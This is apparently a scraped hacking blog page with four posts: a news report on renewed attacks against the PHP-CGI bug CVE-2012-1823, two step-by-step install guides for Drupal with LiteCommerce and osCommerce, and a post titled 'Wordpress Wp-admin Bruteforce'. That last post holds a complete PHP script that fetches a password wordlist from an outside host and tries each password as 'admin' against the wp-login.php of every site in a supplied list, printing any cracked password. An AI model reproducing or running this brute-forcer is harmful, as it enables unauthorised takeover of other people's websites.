New Exploits for Old PHP Vulnerability

3/21/2014 The Hackers Chronicle 0

<div dir="ltr" style="text-align: left;" trbidi="on">
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjeGG4lt7wUJNvQFm-0o7PNWDCPIOWcdPtbdayQk8XXU_7X894V9XrXXZFZbCyf01xJDedbxeILXYJhMs3hvFtGa2aigOY3ciQ2wukeyTA387SDs8QVtbTD6S13wko308hpID3t4-WrS2x4/s1600/new+php+exploit.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="New Exploits for Old PHP Vulnerability" border="0" height="238" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjeGG4lt7wUJNvQFm-0o7PNWDCPIOWcdPtbdayQk8XXU_7X894V9XrXXZFZbCyf01xJDedbxeILXYJhMs3hvFtGa2aigOY3ciQ2wukeyTA387SDs8QVtbTD6S13wko308hpID3t4-WrS2x4/s1600/new+php+exploit.png" title="New Exploits for Old PHP Vulnerability" width="400" /></a></div>
Close to two years ago, a serious vulnerability in <a href="http://www.hackerschronicle.com/search/label/PHP">PHP</a> was accidentally disclosed after it was discovered months prior during a hacking contest. A patch was released in relatively short order, and one would assume that given PHP’s prevalence as a web development framework, the fix would have been applied just as quickly.<br />
<br />
But given the discovery last October of a new set of exploits for <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-1823" target="_blank">CVE-2012-1823</a>, that assumption may not be correct.<br />
<br />
Researchers at <a href="http://blog.imperva.com/2014/03/threat-advisory-php-cgi-at-your-command.html" target="_blank">Imperva</a> have been watching since Oct. 29 attacks exploiting the PHP bug. Attackers were using the new <a href="http://www.hackerschronicle.com/search/label/Exploit">exploit</a> to deliver arbitrary code to websites running <span class="higlight">PHP 5.4.x, 5.3.x before 5.4.2 or 5.3.12</span>; those vulnerable versions account for about 16 percent of the sites on the web according to director of security research <span class="higlight">Barry Shteiman</span>.<br />
<br />
The new exploits were dangerous in that they allowed hackers to abuse an old vulnerability to not only run arbitrary code, but also adapt techniques found in <a href="http://www.hackerschronicle.com/search/label/Botnets">botnets</a> and crimeware kits to inject <a href="http://www.hackerschronicle.com/search/label/Malwares">malware</a>, steal credentials or system data from the server, or move laterally within the data center.<br />
<br />
“Not only are we seeing a vulnerability used after it was released so long ago, but what we’re seeing is attackers and professional hackers understanding what vendors understand—people just don’t patch,” Shteiman said. “They can’t or won’t or are not minded to fix these problems.”<br />
<br />
PHP is found on nearly 82 percent of websites today; these attacks target sites where PHP is running with CGI as an option, creating a condition that allows for code execution from the outside. Shteiman said the vulnerability affects a built-in mechanism in PHP that protects itself from exposing files and commands. A configuration flaw allows hackers to first disable the security mechanism, which in turn allows a hacker to run remote code or arbitrarily inject code.<br />
<br />
“With the new exploit, it’s the same relative technique, but what we’ve seen is a lot of automation,” Shteiman said. “The tool that attacked these systems is running an interesting subset of dictionaries that requires an attacker know where PHP is installed on the server. We’ve seen attackers trying different paths to see which backend contains the [PHP] executable.”<br />
<br />
The big-picture problem is the number of PHP websites still running vulnerable code despite the availability of a patch for close to two years now.<br />
<br />
“PHP is installed as an interpreter,” Shteiman said. “Replacing the existing instance of PHP with a new one means downtime. Sometimes you may have to change applications because some things that are now deprecated may require application changes. For that reason, sometimes organizations don’t patch or go a different route. They might use a new framework instead.”<br />
<br />
Original reports on the vulnerability triggered advisories from a number of organizations, including <span class="highlight">US-CERT</span>. The bug is a relatively simple one; researchers found that when they passed a specific query string that contained the -s command to PHP in a CGI setup, PHP would interpret the <span class="highlight">-s</span> as the command line argument and result in the disclosure of the source code for the application. They extended their testing and found they could pass whatever command-line arguments they wanted to the PHP binary.<br />
<br />
“You’d think these bugs would be long forgotten, but it isn’t so; they’re like the undead. Vulnerabilities never die,” Shteiman said. “They don’t die and we realize if we see this executed by botnets trying to onboard servers and by crimeware kits being sold, that means attackers understand they can rely on old problems because people won’t fix them and attackers don’t have to work too hard.”
</div>

Close to two years ago, a serious vulnerability in PHP was accidentally disclosed after it was discovered months prior during a hacking ...

Installation of drupal with lite commerce

9/10/2011 rahlabs 0

<div dir="ltr" style="text-align: left;" trbidi="on"><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj1axuQ6r_776CtEXL_so_FIlrKd8GXpbY5pOUZAaC7QYfX1BM3rBITb1kyRiXNrPaAc_0a5Kv2IhHR6wC7l3i4FLU76-E0BLx8PceTY1fFlwGI4w5ah7G6QD6AtUj8IXpCR_iVHIywmQAA/s1600/litecommerce.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" height="307" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj1axuQ6r_776CtEXL_so_FIlrKd8GXpbY5pOUZAaC7QYfX1BM3rBITb1kyRiXNrPaAc_0a5Kv2IhHR6wC7l3i4FLU76-E0BLx8PceTY1fFlwGI4w5ah7G6QD6AtUj8IXpCR_iVHIywmQAA/s640/litecommerce.jpg" width="640" /></a></div><br />
Installation of drupal with lite commerce<br />
<br />
<br />
1. Install WAMP/XAMPP.<br />
2. Download drupal+lc from <a href="http://www.litecommerce.com/download.html">http://www.litecommerce.com/download.html</a><br />
3. Have a look at the features of this suite at <a href="http://www.litecommerce.com/">http://www.litecommerce.com/</a><br />
4. Extract the files to root of your server. <br />
5. That is in htdocs folder in case of XAMPP or in www folder incase of WAMP.<br />
6. Open <a href="http://127.0.0.1/phpmyadmin">http://127.0.0.1/phpmyadmin</a> or <a href="http://localhost/phpmyadmin">http://localhost/phpmyadmin</a><br />
7. Create a database for your e-shop website.<br />
8. Navigate to the directory where you extracted drupal+lc package (<a href="http://localhost/drupal">http://localhost/drupal</a>)<br />
9. Installation of drupal+lc package will start automatically.<br />
10. Fill in all the details as instructed by web interface.<br />
11. Name of the database you just created.<br />
a. Name of the site.<br />
b. Database username and password.<br />
c. Forward as instructed.<br />
12. At the end you will be with a custom e-shop website.<br />
13. Login at <a href="http://localhost/drupal/index.php">http://localhost/drupal/index.php</a><br />
14. Fill in your admin username and password.<br />
15. Customize the layout and settings as par your need.<br />
<br />
<span class="Apple-style-span" style="color: black; font: x-small arial; letter-spacing: normal; orphans: 2; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px;">Regards,<br />
Hardeep Singh<br />
(<a href="http://www.fb.com/h4rdeep" target="_blank">www.fb.com/h4rdeep</a>)<br />
</span><br />
</div>

Drupal e-Commerce LiteCommerce Web Development Installation of drupal with lite commerce

Installation of drupal with lite commerce 1. Install WAMP/XAMPP. 2. Download drupal+lc from http://www.litecommerce.com/download.html ...

Installation of os-commerce suite

9/05/2011 rahlabs 0

<div dir="ltr" style="text-align: left;" trbidi="on"><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEggxXaPgJOLB9_Px0uoRKxjyqE8tCBpdTw-5O6NMp7ckq4O_RhFwQlTSixstrudHPd7saqGGTgZi5swVEXchkIzqW2KjGjJHtRM_BjCgx3Z9P67ZhtSOyOMMcg-gC-0IK1WZBATYvcWbazw/s1600/oscommerce_logo.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEggxXaPgJOLB9_Px0uoRKxjyqE8tCBpdTw-5O6NMp7ckq4O_RhFwQlTSixstrudHPd7saqGGTgZi5swVEXchkIzqW2KjGjJHtRM_BjCgx3Z9P67ZhtSOyOMMcg-gC-0IK1WZBATYvcWbazw/s400/oscommerce_logo.jpg" width="400" /></a></div><br />
Installation of os-commerce suite<br />
<br />
<br />
1. Install WAMP/XAMPP.<br />
2. Download E-Commerce CMS from <a href="http://www.oscommerce.com/">http://www.oscommerce.com/</a><br />
3. Have a look at the features of the os-commerce suite. <a href="http://www.oscommerceindia.com/features.htm">http://www.oscommerceindia.com/features.htm</a><br />
4. It’s an open source e-commerce solution.<br />
5. Extract the files to root of your server. <br />
6. That is in htdocs folder in case of XAMPP or in www folder incase of WAMP.<br />
7. open <a href="http://127.0.0.1/phpmyadmin">http://127.0.0.1/phpmyadmin</a> or <a href="http://localhost/phpmyadmin">http://localhost/phpmyadmin</a><br />
8. Create a database for your e-shop website.<br />
9. Navigate to the directory where you extracted os-commerce package. (<a href="http://localhost/oscommerce">http://localhost/oscommerce</a>)<br />
10. Installation of os-commerce package will start automatically.<br />
11. Fill in all the details as instructed by web interface.<br />
a. Name of the database you just created.<br />
b. Name of the site.<br />
c. Database username and password.<br />
d. Forward as instructed.<br />
12. At the end you will be with a custom e-shop website. <br />
13. Login at <a href="http://localhost/oscommerce/index.php?admin">http://localhost/oscommerce/index.php?admin</a><br />
14. Fill in your admin username and password.<br />
15. Customize the layout and settings as par your need. <br />
<br />
<br />
<span class="Apple-style-span" style="color: black; font: x-small arial; letter-spacing: normal; orphans: 2; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px;">Regards,<br />
Hardeep Singh<br />
(<a href="http://www.fb.com/h4rdeep" target="_blank">www.fb.com/h4rdeep</a>)<br />
</span><br />
</div>

e-Commerce os-commerce Web Development Installation of os-commerce suite

Installation of os-commerce suite 1. Install WAMP/XAMPP. 2. Download E-Commerce CMS from http://www.oscommerce.com/ 3. Have a look at ...

Wordpress Wp-admin Bruteforce

8/10/2011 rahlabs 0

<div dir="ltr" style="text-align: left;" trbidi="on">
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhrAxW_vCxNhpDlFctGILWxnTfiNill89RGQwDyOuxsbdAsP_JQDPIdEgZfyDSaaT96GILYDbIhPRSWKrP20lOmsSDaodRXQPPYskMgaOsunCRAOoo-ec3Z6j5EgpWXof6HXj_3zLoiIHI/s1600/wordpress-admin-brute-force-attack.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="290" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhrAxW_vCxNhpDlFctGILWxnTfiNill89RGQwDyOuxsbdAsP_JQDPIdEgZfyDSaaT96GILYDbIhPRSWKrP20lOmsSDaodRXQPPYskMgaOsunCRAOoo-ec3Z6j5EgpWXof6HXj_3zLoiIHI/s1600/wordpress-admin-brute-force-attack.png" width="320" /></a></div>
<br />
<h3>
Wordpress Wp-admin Bruteforce</h3>
<div class="program glow">
<pre><code class="prettyprint"><?php 
class wp
{
public $site; 
public $password; 
public $wordlist; 
public $siteler; 
public $regex = 'general.php'; 
public function wordlist() { 
$liste = file_get_contents("http://afrikanhosting.com/images/wp.txt"); 
$this->wordlist = explode("\n",$liste); 
return $this->wordlist; 
} 
public function curl($site,$password)
{
$curl = curl_init(); 
curl_setopt($curl,CURLOPT_RETURNTRANSFER,1); 
curl_setopt($curl,CURLOPT_URL,$site."/wp-login.php"); 
curl_setopt($curl,CURLOPT_COOKIEJAR,"megaturks.dat"); 
curl_setopt($curl,CURLOPT_FOLLOWLOCATION,1); 
curl_setopt($curl,CURLOPT_POST,1); 
curl_setopt($curl,CURLOPT_POSTFIELDS,"log=admin&pwd=".$password."&redirect_to=".$site."/wp-admin/&testcookie=1"); 
$calis = curl_exec($curl); 
return $calis; 
} 
public function siteler($liste)
{ 
$site = file_get_contents($liste); 
$this->siteler = explode("\n",$site); return $this->siteler; 
} 
public function burtay($liste)
{ 
$this->siteler($liste); 
foreach($this->siteler as $sites)
{ 
$site = trim($sites); 
echo "Denenen Site : " . $site . "\n"; 
foreach($this->wordlist() as $sifre) 
{ 
$password = trim($sifre); 
echo "Denenen Sifre " . $password . "\n"; 
if ( eregi ($this->regex,$this->curl($site,$password)) )
{
echo "-------------------------------------\n"; 
echo $site . " icin sifre kirildi sifre : " . $password . "\n" ; 
echo "xxx\n"; 
echo "xxx\n"; 
echo "-------------------------------------\n"; 
break; 
}
}
}
}
}
echo " ------------------ xxxxx || xxx || ------------------ \n\n "; 
$class = new wp(); $class->burtay($argv[1]); 
?></code></pre>
</div>
<br />
<br />
Regards,<br />
Hardeep Singh<br />
(www.fb.com/h4rdeep)</div>

Bruteforce Cipher Web Development Wordpress Wordpress Wp-admin Bruteforce

Wordpress Wp-admin Bruteforce <?php class wp { public $site; public $password; public $wordlist; public $siteler; public $reg...

New Exploits for Old PHP Vulnerability

Installation of drupal with lite commerce

Installation of os-commerce suite

Wordpress Wp-admin Bruteforce

Popular

Comments

Archive